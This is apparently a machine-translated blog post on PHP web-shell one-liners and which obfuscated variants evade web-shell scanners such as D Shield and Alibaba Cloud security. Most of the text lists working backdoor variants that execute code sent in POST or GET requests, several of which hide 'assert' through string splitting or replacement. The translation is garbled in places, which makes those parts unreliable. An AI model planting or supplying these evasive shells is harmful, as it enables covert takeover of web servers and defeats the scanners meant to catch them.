I have sent a few articles about D shield Web detection and removal/dongle/guard's PHP no-killing.

We can see that some of them were killed.

The most typical and original sentence is killed.
<? Php @ eval ($ _ POST ['k8']);?>

The following are all variants not killed.
<? Php $ k = "ass". "ert"; $ k ($ {"_ PO". "ST"} ['8']);?>

<? $ _ POST ['K'] ($ _ POST ['8']);?>

<? Php $ k = str_replace ("8", "", "a8s88s8e8r88t ");
$ K ($ _ POST ["8"]);?>

<? Php $ _ GET ['k8'] ($ _ POST ['k8']);?>

<? Php $ a = "". "s ". "s ". "e ". "r ". "t"; $ a ($ _ POST ["k8"]);?>

The previous version may have been killed because I submitted the sample to Alibaba Cloud security in the next version.
Of course, I only submitted some of them and left some samples, but I don't know the samples provided by others.
Are there any features that I have not been killed? If I have them, they will be killed.

In addition, the "hamba dog" and "Eight gods" I never expected. They all used mutations before.
Their features should not be collected. Some of them can be said to be normal behavior.
It's hard to determine it as WebShell, or false positives. Some feature authors have come up with it, but it's hard to list it as a feature to kill.



As long as you are familiar with the related functions in this article
Http://qqhack8.blog.163.com/blog/static/114147985201211292209893/